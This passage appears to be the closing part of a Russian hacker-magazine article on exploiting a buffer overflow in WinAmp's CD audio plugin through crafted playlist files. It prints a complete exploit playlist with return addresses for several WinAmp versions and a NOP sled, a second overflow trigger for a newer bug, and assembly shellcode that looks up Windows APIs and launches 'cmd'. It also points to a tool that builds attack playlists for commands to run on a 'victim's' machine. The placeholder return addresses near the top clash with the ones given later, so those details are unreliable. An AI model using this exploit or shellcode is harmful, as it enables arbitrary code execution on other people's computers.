Оперируем WinAmp

Ichwill (artem_king@rambler.ru)

Хакер, номер #075, стр. 075-056-5

* cdef – адрес возврата для версий 5.0-5.3

* 90ab – адрес возврата для версий 5.4-5.5

* 1234 - адрес возврата для версии 5.6

Отсюда имеем конечный вид эксплоита:

#EXTM3U

C:\\x93\x45\x02\x105678\x6B\x45\x02\x10\x4B\x35\x02\x10\x90...\x90_наш_шелл-код.cda

Здесь \x93\x45\x02\x10 – это адрес возврата для WinAmp’а версии 5.6 (это его сишный вид, то есть запись \xXX обозначает, что на этом месте должен стоять байт с кодом XX в шестнадцатеричной системе исчисления), \x6B\x45\x02\x10 - адрес возврата для WinAmp’а версий 5.4 - 5.5, \x4B\x35\x02\x10 - адрес возврата для WinAmp’а версий 5.0 - 5.3, \x90...\x90 – n-ное количество NOP’ов. В принципе, их не должно быть меньше 16, а вообще чем больше, тем лучше.

Вместо P.S.

Я написал программу, которая автоматически создает нужный для атаки playlist, необходимо лишь ввести команды, которые должны выполниться на машине жертвы. Скачать эту программу можно на сайте http://ired.inins.ru/xa.

Новые баги

Недавно в Winamp'е нашли новые уязвимости. Статьи о них ты найдешь по следующим ссылкам:

www.xakep.ru/post/25415/default.asp

www.securitylab.ru/51863.html

www.securitylab.ru/50734.html

www.security.nnov.ru/search/news.asp?binid=4210

Самая интересная из них - новое переполнение в многострадальном плагине in_cdda.dll. На этот раз уязвимы все версии плеера до 5.08 включительно. Для того чтобы переполнить буфер в WinAmp'е, достаточно создать вот такой playlist:

#EXTM3U

cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL... и так далее

Как видишь, эта уязвимость похожа на пример из статьи. Поэтому эксплойт к ней написать будет несложно. Тебе лишь понадобится найти адреса возврата для разных версий WinAmp’а, очень похожие на адреса возврата из моего примера, и скомбинировать их в одной строке. Шелл-код также можешь взять из статьи, он вполне подойдет.

Основная часть шелл-кода

win db 'Win'

kolvo db 2

strings 'cmd',0,'cmd',0

mov cl,3

mov eax, fs:[30h]

mov eax, [eax+0Ch]

mov esi, [eax+1Ch]

lodsd

mov eax, [eax+08h]

pop esi

getapi2k_2:

mov ebx,eax

add ebx,[eax+3Ch]

add ebx,78h

mov ebx,[ebx]

add ebx,eax

mov edx,[ebx+20h]

add edx,eax

push ebx

xor ebx,ebx

getapi2k_4:

push esi

push ecx

mov edi,[edx]

add edi,eax

repe cmpsb

je getapi2k_3

pop ecx

pop esi

add edx,4

inc ebx

jmp short getapi2k_4

getapi2k_3:

pop ecx

pop edi

pop ecx

shl ebx,1

mov edx,[ecx+24h]

add edx,eax

add edx,ebx

mov edx,[edx]

and edx,0FFFFh

mov ebx,[ecx+1Ch]

add ebx,eax

shl edx,2

add ebx,edx

mov edx,[ebx]

add edx,eax

xor eax,eax

add edi,3

mov bl,[edi]

inc edi

begin:

pushad

push eax

push edi

call edx

popad

repne scasb

dec bl

jne begin

WWW

Инфу о свежих уязвимостях ты можешь найти на сайтах: www.xakep.ru, www.securitylab.ru, www.security.nnov.ru

CD

На нашем диске ты, как обычно, найдешь весь софт, описываемый в статье: отладчик Ollydbg, несколько версий WinAmp’а и редактор HIEW. Также в качестве бонуса там будут masm, fasm, nasm и IDA PRO DEMO.